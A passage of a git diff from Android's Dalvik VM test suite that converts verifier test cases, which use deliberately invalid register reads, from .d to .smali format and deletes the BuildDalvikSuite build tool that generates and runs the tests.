+.source "T_b2_5.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 5
+
+    const-wide v0, 0x7b
+
+    move-wide v2, v0
+
+    move-wide v2, v1 # illegal read access to v1/2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.d b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.d
deleted file mode 100644
index ffcd819..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b3_1.java
-.class public dot.junit.verify.b3.d.T_b3_1
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 123
-       move v2, v1
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali
new file mode 100644
index 0000000..f5a7dd4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b3_1.java"
+.class  public Ldot/junit/verify/b3/d/T_b3_1;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 123
+       move v2, v1
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.d b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.d
deleted file mode 100644
index 96feb07..0000000
--- a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_b3_2.java
-.class public dot.junit.verify.b3.d.T_b3_2
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 10
-
-       const-wide v0, 123
-       long-to-int v3, v1
-       return-void
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali
new file mode 100644
index 0000000..a2b2564
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/verify/b3/d/T_b3_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_b3_2.java"
+.class  public Ldot/junit/verify/b3/d/T_b3_2;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 10
+
+       const-wide v0, 123
+       long-to-int v3, v1
+       return-void
+.end method
diff --git a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java b/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
deleted file mode 100644
index e223289..0000000
--- a/tools/vm-tests-tf/src/util/build/BuildDalvikSuite.java
+++ /dev/null
@@ -1,813 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package util.build;
-
-import com.android.dex.util.FileUtils;
-
-import dot.junit.AllTests;
-import util.build.BuildStep.BuildFile;
-
-import junit.framework.TestCase;
-import junit.framework.TestResult;
-import junit.framework.TestSuite;
-import junit.textui.TestRunner;
-
-import java.io.BufferedWriter;
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.FileReader;
-import java.io.IOException;
-import java.io.OutputStreamWriter;
-import java.util.ArrayList;
-import java.util.Collection;
-import java.util.Collections;
-import java.util.Comparator;
-import java.util.HashSet;
-import java.util.Iterator;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Scanner;
-import java.util.Set;
-import java.util.TreeSet;
-import java.util.Map.Entry;
-import java.util.regex.MatchResult;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * Main class to generate data from the test suite to later run from a shell
- * script. the project's home folder.<br>
- * <project-home>/src must contain the java sources<br>
- * <project-home>/src/<for-each-package>/Main_testN1.java will be generated<br>
- * (one Main class for each test method in the Test_... class
- */
-public class BuildDalvikSuite {
-
-    public static final String TARGET_MAIN_FILE = "mains.jar";
-
-    public static boolean DEBUG = true;
-
-    private static String JAVASRC_FOLDER = "";
-    private static String MAIN_SRC_OUTPUT_FOLDER = "";
-
-    // the folder for the generated junit-files for the cts host (which in turn
-    // execute the real vm tests using adb push/shell etc)
-    private static String HOSTJUNIT_SRC_OUTPUT_FOLDER = "";
-    private static String OUTPUT_FOLDER = "";
-    private static String COMPILED_CLASSES_FOLDER = "";
-
-    private static String CLASSES_OUTPUT_FOLDER = "";
-    private static String HOSTJUNIT_CLASSES_OUTPUT_FOLDER = "";
-
-    private static String CLASS_PATH = "";
-
-    private static String restrictTo = null; // e.g. restrict to "opcodes.add_double"
-
-    private static final String TARGET_JAR_ROOT_PATH = "/data/local/tmp/vm-tests";
-
-    private int testClassCnt = 0;
-    private int testMethodsCnt = 0;
-
-    /*
-     * using a linked hashmap to keep the insertion order for iterators.
-     * the junit suite/tests adding order is used to generate the order of the
-     * report.
-     * a map. key: fully qualified class name, value: a list of test methods for
-     * the given class
-     */
-    private LinkedHashMap<String, List<String>> map = new LinkedHashMap<String,
-    List<String>>();
-
-    private class MethodData {
-        String methodBody, constraint, title;
-    }
-
-    /**
-     * @param args
-     *            args 0 must be the project root folder (where src, lib etc.
-     *            resides)
-     * @throws IOException
-     */
-    public static void main(String[] args) throws IOException {
-
-        if (!parseArgs(args)) {
-          printUsage();
-          System.exit(-1);
-        }
-
-        long start = System.currentTimeMillis();
-        BuildDalvikSuite cat = new BuildDalvikSuite();
-        cat.compose();
-        long end = System.currentTimeMillis();
-
-        System.out.println("elapsed seconds: " + (end - start) / 1000);
-    }
-
-    public static boolean parseArgs(String[] args) {
-      if (args.length > 5) {
-          JAVASRC_FOLDER = args[0];
-          OUTPUT_FOLDER = args[1];
-          CLASS_PATH = args[2];
-          MAIN_SRC_OUTPUT_FOLDER = args[3];
-          CLASSES_OUTPUT_FOLDER = MAIN_SRC_OUTPUT_FOLDER + "/classes";
-
-          COMPILED_CLASSES_FOLDER = args[4];
-
-          HOSTJUNIT_SRC_OUTPUT_FOLDER = args[5];
-          HOSTJUNIT_CLASSES_OUTPUT_FOLDER = HOSTJUNIT_SRC_OUTPUT_FOLDER + "/classes";
-
-          if (args.length > 6) {
-              // optional: restrict to e.g. "opcodes.add_double"
-              restrictTo = args[6];
-              System.out.println("restricting build to: " + restrictTo);
-          }
-          return true;
-      } else {
-          return false;
-      }
-    }
-
-    private static void printUsage() {
-        System.out.println("usage: java-src-folder output-folder classpath " +
-                           "generated-main-files compiled_output generated-main-files " +
-                           "[restrict-to-opcode]");
-    }
-
-    public void compose() throws IOException {
-        System.out.println("Collecting all junit tests...");
-        new TestRunner() {
-            @Override
-            protected TestResult createTestResult() {
-                return new TestResult() {
-                    @Override
-                    protected void run(TestCase test) {
-                        addToTests(test);
-                    }
-
-                };
-            }
-        }.doRun(AllTests.suite());
-
-        // for each combination of TestClass and method, generate a Main_testN1
-        // class in the respective package.
-        // for the report make sure all N... tests are called first, then B,
-        // then E, then VFE test methods.
-        // e.g. dxc.junit.opcodes.aaload.Test_aaload - testN1() ->
-        // File Main_testN1.java in package dxc.junit.opcodes.aaload.
-        //
-        handleTests();
-    }
-
-    private void addToTests(TestCase test) {
-
-        String packageName = test.getClass().getPackage().getName();
-        packageName = packageName.substring(packageName.lastIndexOf('.'));
-
-
-        String method = test.getName(); // e.g. testVFE2
-        String fqcn = test.getClass().getName(); // e.g.
-        // dxc.junit.opcodes.iload_3.Test_iload_3
-
-        // ignore all tests not belonging to the given restriction
-        if (restrictTo != null && !fqcn.contains(restrictTo)) return;
-
-        testMethodsCnt++;
-        List<String> li = map.get(fqcn);
-        if (li == null) {
-            testClassCnt++;
-            li = new ArrayList<String>();
-            map.put(fqcn, li);
-        }
-        li.add(method);
-    }
-    private String curJunitFileName = null;
-    private String curJunitName = null;
-    private String curJunitFileData = "";
-
-    private SourceBuildStep hostJunitBuildStep;
-
-    private void flushHostJunitFile() {
-        if (curJunitFileName != null) {
-            File toWrite = new File(curJunitFileName);
-            String absPath = toWrite.getAbsolutePath();
-            // add to java source files for later compilation
-            hostJunitBuildStep.addSourceFile(absPath);
-            // write file
-            curJunitFileData += "\n}\n";
-            writeToFileMkdir(toWrite, curJunitFileData);
-
-            curJunitFileName = null;
-            curJunitFileData = "";
-        }
-    }
-
-    private void openCTSHostFileFor(String pName, String classOnlyName) {
-        // flush previous JunitFile
-        flushHostJunitFile();
-        String sourceName = "JUnit_" + classOnlyName;
-
-        // prepare current testcase-file
-        curJunitFileName = HOSTJUNIT_SRC_OUTPUT_FOLDER + "/" + pName.replaceAll("\\.","/") + "/" +
-        sourceName + ".java";
-        curJunitFileData = getWarningMessage() +
-        "package " + pName + ";\n" +
-        "import java.io.IOException;\n" +
-        "import java.util.concurrent.TimeUnit;\n\n" +
-        "import com.android.tradefed.device.CollectingOutputReceiver;\n" +
-        "import com.android.tradefed.testtype.IAbi;\n" +
-        "import com.android.tradefed.testtype.IAbiReceiver;\n" +
-        "import com.android.tradefed.testtype.DeviceTestCase;\n" +
-        "import com.android.tradefed.util.AbiFormatter;\n" +
-        "\n" +
-        "public class " + sourceName + " extends DeviceTestCase implements IAbiReceiver {\n";
-    }
-
-    private String getShellExecJavaLine(String classpath, String mainclass) {
-      String cmd = String.format("ANDROID_DATA=%s dalvikvm|#ABI#| -Xmx512M -Xss32K -Xnodex2oat " +
-              "-Djava.io.tmpdir=%s -classpath %s %s", TARGET_JAR_ROOT_PATH, TARGET_JAR_ROOT_PATH,
-              classpath, mainclass);
-      StringBuilder code = new StringBuilder();
-      code.append("    String cmd = AbiFormatter.formatCmdForAbi(\"")
-          .append(cmd)
-          .append("\", mAbi.getBitness());\n")
-          .append("    CollectingOutputReceiver receiver = new CollectingOutputReceiver();\n")
-          .append("    getDevice().executeShellCommand(cmd, receiver, 6, TimeUnit.MINUTES, 1);\n")
-          .append("    // A sucessful adb shell command returns an empty string.\n")
-          .append("    assertEquals(cmd, \"\", receiver.getOutput());");
-      return code.toString();
-    }
-
-    private String getWarningMessage() {
-        return "//Autogenerated code by " + this.getClass().getName() + "; do not edit.\n";
-    }
-
-    private void addCTSHostMethod(String pName, String method, MethodData md,
-            Collection<String> dependentTestClassNames) {
-        curJunitFileData += "public void " + method + "() throws Exception {\n";
-        final String targetCoreJarPath = String.format("%s/dot/junit/dexcore.jar",
-                TARGET_JAR_ROOT_PATH);
-
-        String mainsJar = String.format("%s/%s", TARGET_JAR_ROOT_PATH, TARGET_MAIN_FILE);
-
-        String cp = String.format("%s:%s", targetCoreJarPath, mainsJar);
-        for (String depFqcn : dependentTestClassNames) {
-            String sourceName = depFqcn.replaceAll("\\.", "/") + ".jar";
-            String targetName= String.format("%s/%s", TARGET_JAR_ROOT_PATH,
-                    sourceName);
-            cp += ":" + targetName;
-            // dot.junit.opcodes.invoke_interface_range.ITest
-            // -> dot/junit/opcodes/invoke_interface_range/ITest.jar
-        }
-
-        //"dot.junit.opcodes.add_double_2addr.Main_testN2";
-        String mainclass = pName + ".Main_" + method;
-        curJunitFileData += getShellExecJavaLine(cp, mainclass);
-        curJunitFileData += "\n}\n\n";
-    }
-
-    private void handleTests() throws IOException {
-        System.out.println("collected " + testMethodsCnt + " test methods in " +
-                testClassCnt + " junit test classes");
-        String datafileContent = "";
-        Set<BuildStep> targets = new TreeSet<BuildStep>();
-
-        SourceBuildStep srcBuildStep;
-        hostJunitBuildStep = new JavacBuildStep(
-            HOSTJUNIT_CLASSES_OUTPUT_FOLDER, CLASS_PATH);
-
-        String mainsJar = OUTPUT_FOLDER + File.separator + TARGET_MAIN_FILE;
-        srcBuildStep = new JavacBuildStep(CLASSES_OUTPUT_FOLDER, CLASS_PATH);
-
-        for (Entry<String, List<String>> entry : map.entrySet()) {
-
-            String fqcn = entry.getKey();
-            int lastDotPos = fqcn.lastIndexOf('.');
-            String pName = fqcn.substring(0, lastDotPos);
-            String classOnlyName = fqcn.substring(lastDotPos + 1);
-            String instPrefix = "new " + classOnlyName + "()";
-
-            openCTSHostFileFor(pName, classOnlyName);
-
-            curJunitFileData += "\n" +
-                    "protected IAbi mAbi;\n" +
-                    "@Override\n" +
-                    "public void setAbi(IAbi abi) {\n" +
-                    "    mAbi = abi;\n" +
-                    "}\n\n";
-
-            List<String> methods = entry.getValue();
-            Collections.sort(methods, new Comparator<String>() {
-                public int compare(String s1, String s2) {
-                    // TODO sort according: test ... N, B, E, VFE
-                    return s1.compareTo(s2);
-                }
-            });
-            for (String method : methods) {
-                // e.g. testN1
-                if (!method.startsWith("test")) {
-                    throw new RuntimeException("no test method: " + method);
-                }
-
-                // generate the Main_xx java class
-
-                // a Main_testXXX.java contains:
-                // package <packagenamehere>;
-                // public class Main_testxxx {
-                // public static void main(String[] args) {
-                // new dxc.junit.opcodes.aaload.Test_aaload().testN1();
-                // }
-                // }
-                MethodData md = parseTestMethod(pName, classOnlyName, method);
-                String methodContent = md.methodBody;
-
-                List<String> dependentTestClassNames = parseTestClassName(pName,
-                        classOnlyName, methodContent);
-
-                addCTSHostMethod(pName, method, md, dependentTestClassNames);
-
-
-                if (dependentTestClassNames.isEmpty()) {
-                    continue;
-                }
-
-
-                String content = getWarningMessage() +
-                "package " + pName + ";\n" +
-                "import " + pName + ".d.*;\n" +
-                "import dot.junit.*;\n" +
-                "public class Main_" + method + " extends DxAbstractMain {\n" +
-                "    public static void main(String[] args) throws Exception {" +
-                methodContent + "\n}\n";
-
-                File sourceFile = getFileFromPackage(pName, method);
-
-                writeToFile(sourceFile, content);
-                srcBuildStep.addSourceFile(sourceFile.getAbsolutePath());
-
-                // prepare the entry in the data file for the bash script.
-                // e.g.
-                // main class to execute; opcode/constraint; test purpose
-                // dxc.junit.opcodes.aaload.Main_testN1;aaload;normal case test
-                // (#1)
-
-                char ca = method.charAt("test".length()); // either N,B,E,
-                // or V (VFE)
-                String comment;
-                switch (ca) {
-                case 'N':
-                    comment = "Normal #" + method.substring(5);
-                    break;
-                case 'B':
-                    comment = "Boundary #" + method.substring(5);
-                    break;
-                case 'E':
-                    comment = "Exception #" + method.substring(5);
-                    break;
-                case 'V':
-                    comment = "Verifier #" + method.substring(7);
-                    break;
-                default:
-                    throw new RuntimeException("unknown test abbreviation:"
-                            + method + " for " + fqcn);
-                }
-
-                String line = pName + ".Main_" + method + ";";
-                for (String className : dependentTestClassNames) {
-                    line += className + " ";
-                }
-
-
-                // test description
-                String[] pparts = pName.split("\\.");
-                // detail e.g. add_double
-                String detail = pparts[pparts.length-1];
-                // type := opcode | verify
-                String type = pparts[pparts.length-2];
-
-                String description;
-                if ("format".equals(type)) {
-                    description = "format";
-                } else if ("opcodes".equals(type)) {
-                    // Beautify name, so it matches the actual mnemonic
-                    detail = detail.replaceAll("_", "-");
-                    detail = detail.replace("-from16", "/from16");
-                    detail = detail.replace("-high16", "/high16");
-                    detail = detail.replace("-lit8", "/lit8");
-                    detail = detail.replace("-lit16", "/lit16");
-                    detail = detail.replace("-4", "/4");
-                    detail = detail.replace("-16", "/16");
-                    detail = detail.replace("-32", "/32");
-                    detail = detail.replace("-jumbo", "/jumbo");
-                    detail = detail.replace("-range", "/range");
-                    detail = detail.replace("-2addr", "/2addr");
-
-                    // Unescape reserved words
-                    detail = detail.replace("opc-", "");
-
-                    description = detail;
-                } else if ("verify".equals(type)) {
-                    description = "verifier";
-                } else {
-                    description = type + " " + detail;
-                }
-
-                String details = (md.title != null ? md.title : "");
-                if (md.constraint != null) {
-                    details = " Constraint " + md.constraint + ", " + details;
-                }
-                if (details.length() != 0) {
-                    details = details.substring(0, 1).toUpperCase()
-                            + details.substring(1);
-                }
-
-                line += ";" + description + ";" + comment + ";" + details;
-
-                datafileContent += line + "\n";
-                generateBuildStepFor(pName, method, dependentTestClassNames,
-                        targets);
-            }
-
-
-        }
-
-        D8BuildStep dexBuildStep = new D8BuildStep(
-            new BuildStep.BuildFile(new File(CLASSES_OUTPUT_FOLDER)),
-            new BuildStep.BuildFile(new File(mainsJar)),
-            false);
-
-        targets.add(dexBuildStep);
-
-        // write latest HOSTJUNIT generated file.
-        flushHostJunitFile();
-
-        File scriptDataDir = new File(OUTPUT_FOLDER + "/data/");
-        scriptDataDir.mkdirs();
-        writeToFile(new File(scriptDataDir, "scriptdata"), datafileContent);
-
-        if (!hostJunitBuildStep.build()) {
-            System.out.println("main javac cts-host-hostjunit-classes build step failed");
-            System.exit(1);
-        }
-
-        if (!srcBuildStep.build()) {
-            System.out.println("main src dalvik-cts-buildutil build step failed");
-            System.exit(1);
-        }
-
-        for (BuildStep buildStep : targets) {
-            if (!buildStep.build()) {
-                System.out.println("building failed. buildStep: " +
-                        buildStep.getClass().getName() + ", " + buildStep);
-                System.exit(1);
-            }
-        }
-    }
-
-    private void generateBuildStepFor(String pName, String method,
-            Collection<String> dependentTestClassNames, Set<BuildStep> targets) {
-
-
-        for (String dependentTestClassName : dependentTestClassNames) {
-            generateBuildStepForDependant(dependentTestClassName, targets);
-        }
-    }
-
-    private void generateBuildStepForDependant(String dependentTestClassName,
-            Set<BuildStep> targets) {
-
-        File sourceFolder = new File(JAVASRC_FOLDER);
-        String fileName = dependentTestClassName.replace('.', '/').trim();
-
-        if (new File(sourceFolder, fileName + ".dfh").exists()) {
-
-            BuildStep.BuildFile inputFile = new BuildStep.BuildFile(
-                    JAVASRC_FOLDER, fileName + ".dfh");
-            BuildStep.BuildFile dexFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER, fileName + ".dex");
-
-            DFHBuildStep buildStep = new DFHBuildStep(inputFile, dexFile);
-
-            BuildStep.BuildFile jarFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER, fileName + ".jar");
-            JarBuildStep jarBuildStep = new JarBuildStep(dexFile,
-                    "classes.dex", jarFile, true);
-            jarBuildStep.addChild(buildStep);
-
-            targets.add(jarBuildStep);
-            return;
-        }
-
-        if (new File(sourceFolder, fileName + ".d").exists()) {
-
-            BuildStep.BuildFile inputFile = new BuildStep.BuildFile(
-                    JAVASRC_FOLDER, fileName + ".d");
-            BuildStep.BuildFile dexFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER, fileName + ".dex");
-
-            DasmBuildStep buildStep = new DasmBuildStep(inputFile, dexFile);
-
-            BuildStep.BuildFile jarFile = new BuildStep.BuildFile(
-                    OUTPUT_FOLDER, fileName + ".jar");
-
-            JarBuildStep jarBuildStep = new JarBuildStep(dexFile,
-                    "classes.dex", jarFile, true);
-            jarBuildStep.addChild(buildStep);
-            targets.add(jarBuildStep);
-            return;
-        }
-
-        File srcFile = new File(sourceFolder, fileName + ".java");
-        if (srcFile.exists()) {
-            BuildStep dexBuildStep;
-            dexBuildStep = generateDexBuildStep(
-              COMPILED_CLASSES_FOLDER, fileName);
-            targets.add(dexBuildStep);
-            return;
-        }
-
-        try {
-            if (Class.forName(dependentTestClassName) != null) {
-                BuildStep dexBuildStep = generateDexBuildStep(
-                    COMPILED_CLASSES_FOLDER, fileName);
-                targets.add(dexBuildStep);
-                return;
-            }
-        } catch (ClassNotFoundException e) {
-            // do nothing
-        }
-
-        throw new RuntimeException("neither .dfh,.d,.java file of dependant test class found : " +
-                dependentTestClassName + ";" + fileName);
-    }
-
-    private BuildStep generateDexBuildStep(String classFileFolder,
-            String classFileName) {
-        BuildStep.BuildFile classFile = new BuildStep.BuildFile(
-                classFileFolder, classFileName + ".class");
-
-        BuildStep.BuildFile tmpJarFile = new BuildStep.BuildFile(
-                OUTPUT_FOLDER,
-                classFileName + "_tmp.jar");
-
-        JarBuildStep jarBuildStep = new JarBuildStep(classFile,
-                classFileName + ".class", tmpJarFile, false);
-
-        BuildStep.BuildFile outputFile = new BuildStep.BuildFile(
-                OUTPUT_FOLDER,
-                classFileName + ".jar");
-
-        D8BuildStep dexBuildStep = new D8BuildStep(tmpJarFile,
-                outputFile,
-                true);
-
-        dexBuildStep.addChild(jarBuildStep);
-        return dexBuildStep;
-    }
-
-    /**
-     * @param pName
-     * @param classOnlyName
-     * @param methodSource
-     * @return testclass names
-     */
-    private List<String> parseTestClassName(String pName, String classOnlyName,
-            String methodSource) {
-        List<String> entries = new ArrayList<String>(2);
-        String opcodeName = classOnlyName.substring(5);
-
-        Scanner scanner = new Scanner(methodSource);
-
-        String[] patterns = new String[] {"new\\s(T_" + opcodeName + "\\w*)",
-                "(T_" + opcodeName + "\\w*)", "new\\s(T\\w*)"};
-
-        String token = null;
-        for (String pattern : patterns) {
-            token = scanner.findWithinHorizon(pattern, methodSource.length());
-            if (token != null) {
-                break;
-            }
-        }
-
-        if (token == null) {
-            System.err.println("warning: failed to find dependent test class name: " + pName +
-                    ", " + classOnlyName + " in methodSource:\n" + methodSource);
-            return entries;
-        }
-
-        MatchResult result = scanner.match();
-
-        entries.add((pName + ".d." + result.group(1)).trim());
-
-        // search additional @uses directives
-        Pattern p = Pattern.compile("@uses\\s+(.*)\\s+", Pattern.MULTILINE);
-        Matcher m = p.matcher(methodSource);
-        while (m.find()) {
-            String res = m.group(1);
-            entries.add(0, res.trim());
-        }
-
-        // search for " load(\"...\" " and add as dependency
-        Pattern loadPattern = Pattern.compile("load\\(\"([^\"]*)\"", Pattern.MULTILINE);
-        Matcher loadMatcher = loadPattern.matcher(methodSource);
-        while (loadMatcher.find()) {
-            String res = loadMatcher.group(1);
-            entries.add(res.trim());
-        }
-
-        // search for " loadAndRun(\"...\" " and add as dependency
-        Pattern loadAndRunPattern = Pattern.compile("loadAndRun\\(\"([^\"]*)\"", Pattern.MULTILINE);
-        Matcher loadAndRunMatcher = loadAndRunPattern.matcher(methodSource);
-        while (loadAndRunMatcher.find()) {
-            String res = loadAndRunMatcher.group(1);
-            entries.add(res.trim());
-        }
-
-        // lines with the form @uses
-        // dot.junit.opcodes.add_double.jm.T_add_double_2
-        // one dependency per one @uses
-        // TODO
-
-        return entries;
-    }
-
-    private MethodData parseTestMethod(String pname, String classOnlyName,
-            String method) {
-
-        String path = pname.replaceAll("\\.", "/");
-        String absPath = JAVASRC_FOLDER + "/" + path + "/" + classOnlyName + ".java";
-        File f = new File(absPath);
-
-        Scanner scanner;
-        try {
-            scanner = new Scanner(f);
-        } catch (FileNotFoundException e) {
-            throw new RuntimeException("error while reading to file: " + e.getClass().getName() +
-                    ", msg:" + e.getMessage());
-        }
-
-        String methodPattern = "public\\s+void\\s+" + method + "[^\\{]+\\{";
-
-        String token = scanner.findWithinHorizon(methodPattern, (int) f.length());
-        if (token == null) {
-            throw new RuntimeException("cannot find method source of 'public void " + method +
-                    "' in file '" + absPath + "'");
-        }
-
-        MatchResult result = scanner.match();
-        result.start();
-        result.end();
-
-        StringBuilder builder = new StringBuilder();
-        //builder.append(token);
-
-        try {
-            FileReader reader = new FileReader(f);
-            reader.skip(result.end());
-
-            int readResult;
-            int blocks = 1;
-            while ((readResult = reader.read()) != -1 && blocks > 0) {
-                char currentChar = (char) readResult;
-                switch (currentChar) {
-                    case '}': {
-                        blocks--;
-                        builder.append(currentChar);
-                        break;
-                    }
-                    case '{': {
-                        blocks++;
-                        builder.append(currentChar);
-                        break;
-                    }
-                    default: {
-                        builder.append(currentChar);
-                        break;
-                    }
-                }
-            }
-            if (reader != null) {
-                reader.close();
-            }
-        } catch (Exception e) {
-            throw new RuntimeException("failed to parse", e);
-        }
-
-        // find the @title/@constraint in javadoc comment for this method
-        // using platform's default charset
-        String all = new String(FileUtils.readFile(f));
-        // System.out.println("grepping javadoc found for method " + method +
-        // " in " + pname + "," + classOnlyName);
-        String commentPattern = "/\\*\\*([^{]*)\\*/\\s*" + methodPattern;
-        Pattern p = Pattern.compile(commentPattern, Pattern.DOTALL);
-        Matcher m = p.matcher(all);
-        String title = null, constraint = null;
-        if (m.find()) {
-            String res = m.group(1);
-            // System.out.println("res: " + res);
-            // now grep @title and @constraint
-            Matcher titleM = Pattern.compile("@title (.*)", Pattern.DOTALL)
-            .matcher(res);
-            if (titleM.find()) {
-                title = titleM.group(1).replaceAll("\\n     \\*", "");
-                title = title.replaceAll("\\n", " ");
-                title = title.trim();
-                // System.out.println("title: " + title);
-            } else {
-                System.err.println("warning: no @title found for method " + method + " in " + pname +
-                        "," + classOnlyName);
-            }
-            // constraint can be one line only
-            Matcher constraintM = Pattern.compile("@constraint (.*)").matcher(
-                    res);
-            if (constraintM.find()) {
-                constraint = constraintM.group(1);
-                constraint = constraint.trim();
-                // System.out.println("constraint: " + constraint);
-            } else if (method.contains("VFE")) {
-                System.err
-                .println("warning: no @constraint for for a VFE method:" + method + " in " +
-                        pname + "," + classOnlyName);
-            }
-        } else {
-            System.err.println("warning: no javadoc found for method " + method + " in " + pname +
-                    "," + classOnlyName);
-        }
-        MethodData md = new MethodData();
-        md.methodBody = builder.toString();
-        md.constraint = constraint;
-        md.title = title;
-        if (scanner != null) {
-            scanner.close();
-        }
-        return md;
-    }
-
-    private void writeToFileMkdir(File file, String content) {
-        File parent = file.getParentFile();
-        if (!parent.exists() && !parent.mkdirs()) {
-            throw new RuntimeException("failed to create directory: " + parent.getAbsolutePath());
-        }
-        writeToFile(file, content);
-    }
-
-    private void writeToFile(File file, String content) {
-        try {
-            if (file.exists() && file.length() == content.length()) {
-                FileReader reader = new FileReader(file);
-                char[] charContents = new char[(int) file.length()];
-                reader.read(charContents);
-                reader.close();
-                String contents = new String(charContents);
-                if (contents.equals(content)) {
-                    // System.out.println("skipping identical: "
-                    // + file.getAbsolutePath());
-                    return;
-                }
-            }
-
-            //System.out.println("writing file " + file.getAbsolutePath());
-
-            BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(
-                    new FileOutputStream(file), "utf-8"));
-            bw.write(content);
-            bw.close();
-        } catch (Exception e) {
-            throw new RuntimeException("error while writing to file: " + e.getClass().getName() +
-                    ", msg:" + e.getMessage());
-        }
-    }
-
-    private File getFileFromPackage(String pname, String methodName)
-    throws IOException {
-        // e.g. dxc.junit.argsreturns.pargsreturn
-        String path = getFileName(pname, methodName, ".java");
-        String absPath = MAIN_SRC_OUTPUT_FOLDER + "/" + path;
-        File dirPath = new File(absPath);
-        File parent = dirPath.getParentFile();
-        if (!parent.exists() && !parent.mkdirs()) {
-            throw new IOException("failed to create directory: " + absPath);
-        }
-        return dirPath;
-    }
-
-    private String getFileName(String pname, String methodName,
-            String extension) {
-        String path = pname.replaceAll("\\.", "/");
-        return new File(path, "Main_" + methodName + extension).getPath();
-    }
-}
diff --git a/tools/vm-tests-tf/src/util/build/BuildStep.java b/tools/vm-tests-tf/src/util/build/BuildStep.java
deleted file mode 100644
index e3349bd..0000000
--- a/tools/vm-tests-tf/src/util/build/BuildStep.java
+++ /dev/null
@@ -1,128 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
